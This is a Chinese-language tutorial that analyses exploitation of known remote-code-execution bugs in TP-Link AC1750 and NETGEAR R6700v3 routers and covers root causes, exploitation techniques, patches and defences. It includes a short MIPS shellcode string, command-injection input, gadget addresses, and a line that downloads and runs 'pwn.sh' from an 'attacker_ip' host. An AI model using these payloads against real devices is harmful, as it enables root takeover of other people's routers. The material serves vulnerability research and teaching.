TP-LINK AC1750 路由器与 NETGEAR R6700V3 路由器漏洞解析
字数 2506 2025-08-23 18:31:08

TP-LINK AC1750与NETGEAR R6700V3路由器漏洞分析与利用教学文档

1. TP-LINK AC1750路由器漏洞分析

1.1 漏洞概述

  • 漏洞类型:LAN侧未授权远程代码执行(RCE)
  • 影响进程:sync-server进程
  • 攻击路径:通过tdpServer发送恶意数据触发sync-server中的堆溢出
  • 权限级别:root权限
  • CVE编号:ZDI-21-215

1.2 漏洞环境搭建

1.2.1 硬件准备

  • 测试设备:TP-Link C7 v5或TP-Link A7 v5路由器
  • UART调试接口:需要焊接TX引脚到正确的PCB走线

1.2.2 工具链准备

  • 使用buildroot创建MIPS32大端序工具链
  • 关键配置:
    BR2_MIPS_SOFT_FLOAT=y
    BR2_TOOLCHAIN_BUILDROOT_LIBC="musl"
    
  • 编译必要工具:gdbserver、strace和busybox

1.2.3 固件降级

  • TP-Link不防止固件降级,可降级到有漏洞的版本进行研究

1.3 漏洞技术分析

1.3.1 TDP协议分析

  • 服务端口:UDP 20002
  • 协议特点:
    • 专有TDP协议
    • 部分数据包使用硬编码AES密钥或固定XOR加密
    • 数据包头部固定大小,payload为JSON格式

1.3.2 关键数据包类型

  • type字段:0xF8 (OneMesh)
  • opcode字段:0x0007 (slave_key_offer)

1.3.3 漏洞触发路径

  1. tdpServer接收恶意数据包
  2. 数据写入共享内存(SHM)
  3. sync-server定时读取SHM数据
  4. _handle_request_clients_async函数调用onemesh_listDevices解析数据
  5. 数据复制到64大小的堆栈数组时不检查边界

1.3.4 溢出细节

  • 漏洞函数:onemesh_listDevices
  • 溢出条件:SHM包含超过32个devices
  • 覆盖目标:堆栈中的$fp$ra寄存器

1.4 漏洞利用技术

1.4.1 ASLR绕过

  • 堆段权限为RWX
  • $ra从指向mac字段的指针恢复,直接指向可控数据

1.4.2 Shellcode构造限制

  • JSON解析器限制字符范围
  • mac地址大小限制为17字节
  • 使用unicode编码(\u00xx)扩展可用字节范围

1.4.3 关键利用点

  1. 使用固定地址的system()函数

    • 二进制未启用PIE
    • system调用操作码:0C 10 07 14 (jal system)
  2. 寄存器控制

    • $s2寄存器指向可控ip值
    • 使用move $a0, $s2将可控数据传入$a0

1.4.4 最终shellcode

\u000c\u0010\u0007\u0014\u0002\u0040\u0020\u0025

1.4.5 利用流程

  1. 发送50个恶意数据包到tdpServer
  2. 每个mac地址附加唯一ID避免去重
  3. 使用"cmd;num_id"作为ip值
  4. 等待80秒让sync-server处理数据

1.4.6 远程shell获取

  • 通过TDDP调试守护程序获取shell
  • 执行命令下载并执行攻击脚本:
    wget http://attacker_ip:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh
    

1.5 漏洞修复方案

  • 补丁关键修改:在漏洞函数中添加数组边界检查
  • 使用计数器V10限制IP和Mac数量,防止溢出

2. NETGEAR R6700V3路由器漏洞分析

2.1 漏洞概述

  • 漏洞类型:WAN侧未授权远程代码执行(RCE)
  • 影响组件:/bin/circled守护程序
  • 攻击路径:通过恶意circleinfo.txt文件触发缓冲区溢出
  • 权限级别:root权限
  • CVE编号:CVE-2022-27646、CVE-2022-27644

2.2 漏洞环境

  • 受影响固件版本:R6700v3-V1.0.4.120_10.0.91
  • 守护程序SHA1:ac86472cdeccd01165718b1b759073b9e6b665e9

2.3 漏洞技术分析

2.3.1 更新机制

  • 主程序fork后,子进程负责更新
  • 启动时检查更新,之后每两小时检查一次
  • 进程崩溃会自动重启

2.3.2 漏洞函数

  • 函数地址:0xCE38 (updating_database)
  • 漏洞文件:/tmp/circleinfo.txt
  • 漏洞类型:堆栈缓冲区溢出

2.3.3 溢出细节

  • line变量大小:1024字节
  • 实际写入变量(db_checksum_val和db_checksum):256字节
  • 无边界检查导致溢出

2.3.4 文件获取

  • 函数地址:0xE2D8 (retrieve_circleinfo_txt)
  • 下载方式:通过curl -k选项不验证证书下载
  • 更新服务器URL可被劫持

2.4 漏洞利用技术

2.4.1 初始验证

  • 配置自定义DNS服务器重定向更新请求
  • 提供包含1000个'A'的恶意文件
  • 观察circled崩溃并重启

2.4.2 利用限制

  • 堆栈不可执行
  • ASLR部分启用
  • 二进制未启用PIE,代码位于固定地址0x8000
  • sscanf读取限制:不能有空字节、空格或回车

2.4.3 关键gadget

  • 地址:0xEC78
  • 功能:通过控制R4寄存器间接控制R0
  • 计算公式:R0 = R4 + R2 (R2固定为0xFFFF7954)

2.4.4 堆爆破技术

  1. 将命令放在字符串末尾
  2. 以256字节步长爆破堆地址
  3. 利用进程崩溃自动重启特性多次尝试

2.4.5 最终利用

  1. 构造恶意circleinfo.txt文件
  2. 包含gadget地址和R4寄存器值
  3. 通过curl下载并执行反向shell

2.5 漏洞修复方案

  1. 从curl命令行删除-k选项,强制证书验证
  2. 修改解析器添加边界检查

3. 总结与防护建议

3.1 漏洞共性

  • 都涉及未授权远程代码执行
  • 都通过解析外部输入触发缓冲区溢出
  • 都因缺乏输入验证导致漏洞

3.2 防护建议

  1. 输入验证:对所有外部输入进行严格边界检查
  2. 安全编译:启用PIE、堆栈保护等安全编译选项
  3. 权限分离:服务以最小必要权限运行
  4. 证书验证:HTTPS请求必须验证证书
  5. 及时更新:安装厂商发布的安全补丁

3.3 研究价值

  • 展示了嵌入式设备常见漏洞模式
  • 提供了从LAN和WAN侧攻陷路由器的完整路径
  • 演示了在受限环境下的高级利用技术
TP-LINK AC1750与NETGEAR R6700V3路由器漏洞分析与利用教学文档 1. TP-LINK AC1750路由器漏洞分析 1.1 漏洞概述 漏洞类型 :LAN侧未授权远程代码执行(RCE) 影响进程 :sync-server进程 攻击路径 :通过tdpServer发送恶意数据触发sync-server中的堆溢出 权限级别 :root权限 CVE编号 :ZDI-21-215 1.2 漏洞环境搭建 1.2.1 硬件准备 测试设备:TP-Link C7 v5或TP-Link A7 v5路由器 UART调试接口:需要焊接TX引脚到正确的PCB走线 1.2.2 工具链准备 使用buildroot创建MIPS32大端序工具链 关键配置: 编译必要工具:gdbserver、strace和busybox 1.2.3 固件降级 TP-Link不防止固件降级,可降级到有漏洞的版本进行研究 1.3 漏洞技术分析 1.3.1 TDP协议分析 服务端口:UDP 20002 协议特点: 专有TDP协议 部分数据包使用硬编码AES密钥或固定XOR加密 数据包头部固定大小,payload为JSON格式 1.3.2 关键数据包类型 type字段:0xF8 (OneMesh) opcode字段:0x0007 (slave_ key_ offer) 1.3.3 漏洞触发路径 tdpServer接收恶意数据包 数据写入共享内存(SHM) sync-server定时读取SHM数据 _handle_request_clients_async 函数调用 onemesh_listDevices 解析数据 数据复制到64大小的堆栈数组时不检查边界 1.3.4 溢出细节 漏洞函数: onemesh_listDevices 溢出条件:SHM包含超过32个devices 覆盖目标:堆栈中的 $fp 和 $ra 寄存器 1.4 漏洞利用技术 1.4.1 ASLR绕过 堆段权限为RWX $ra 从指向mac字段的指针恢复,直接指向可控数据 1.4.2 Shellcode构造限制 JSON解析器限制字符范围 mac地址大小限制为17字节 使用unicode编码( \u00xx )扩展可用字节范围 1.4.3 关键利用点 使用固定地址的 system() 函数 二进制未启用PIE system调用操作码: 0C 10 07 14 (jal system) 寄存器控制 $s2 寄存器指向可控ip值 使用 move $a0, $s2 将可控数据传入 $a0 1.4.4 最终shellcode 1.4.5 利用流程 发送50个恶意数据包到tdpServer 每个mac地址附加唯一ID避免去重 使用"cmd;num_ id"作为ip值 等待80秒让sync-server处理数据 1.4.6 远程shell获取 通过TDDP调试守护程序获取shell 执行命令下载并执行攻击脚本: 1.5 漏洞修复方案 补丁关键修改:在漏洞函数中添加数组边界检查 使用计数器V10限制IP和Mac数量,防止溢出 2. NETGEAR R6700V3路由器漏洞分析 2.1 漏洞概述 漏洞类型 :WAN侧未授权远程代码执行(RCE) 影响组件 :/bin/circled守护程序 攻击路径 :通过恶意circleinfo.txt文件触发缓冲区溢出 权限级别 :root权限 CVE编号 :CVE-2022-27646、CVE-2022-27644 2.2 漏洞环境 受影响固件版本:R6700v3-V1.0.4.120_ 10.0.91 守护程序SHA1:ac86472cdeccd01165718b1b759073b9e6b665e9 2.3 漏洞技术分析 2.3.1 更新机制 主程序fork后,子进程负责更新 启动时检查更新,之后每两小时检查一次 进程崩溃会自动重启 2.3.2 漏洞函数 函数地址:0xCE38 (updating_ database) 漏洞文件:/tmp/circleinfo.txt 漏洞类型:堆栈缓冲区溢出 2.3.3 溢出细节 line变量大小:1024字节 实际写入变量(db_ checksum_ val和db_ checksum):256字节 无边界检查导致溢出 2.3.4 文件获取 函数地址:0xE2D8 (retrieve_ circleinfo_ txt) 下载方式:通过curl -k选项不验证证书下载 更新服务器URL可被劫持 2.4 漏洞利用技术 2.4.1 初始验证 配置自定义DNS服务器重定向更新请求 提供包含1000个'A'的恶意文件 观察circled崩溃并重启 2.4.2 利用限制 堆栈不可执行 ASLR部分启用 二进制未启用PIE,代码位于固定地址0x8000 sscanf读取限制:不能有空字节、空格或回车 2.4.3 关键gadget 地址:0xEC78 功能:通过控制R4寄存器间接控制R0 计算公式:R0 = R4 + R2 (R2固定为0xFFFF7954) 2.4.4 堆爆破技术 将命令放在字符串末尾 以256字节步长爆破堆地址 利用进程崩溃自动重启特性多次尝试 2.4.5 最终利用 构造恶意circleinfo.txt文件 包含gadget地址和R4寄存器值 通过curl下载并执行反向shell 2.5 漏洞修复方案 从curl命令行删除-k选项,强制证书验证 修改解析器添加边界检查 3. 总结与防护建议 3.1 漏洞共性 都涉及未授权远程代码执行 都通过解析外部输入触发缓冲区溢出 都因缺乏输入验证导致漏洞 3.2 防护建议 输入验证:对所有外部输入进行严格边界检查 安全编译:启用PIE、堆栈保护等安全编译选项 权限分离:服务以最小必要权限运行 证书验证:HTTPS请求必须验证证书 及时更新:安装厂商发布的安全补丁 3.3 研究价值 展示了嵌入式设备常见漏洞模式 提供了从LAN和WAN侧攻陷路由器的完整路径 演示了在受限环境下的高级利用技术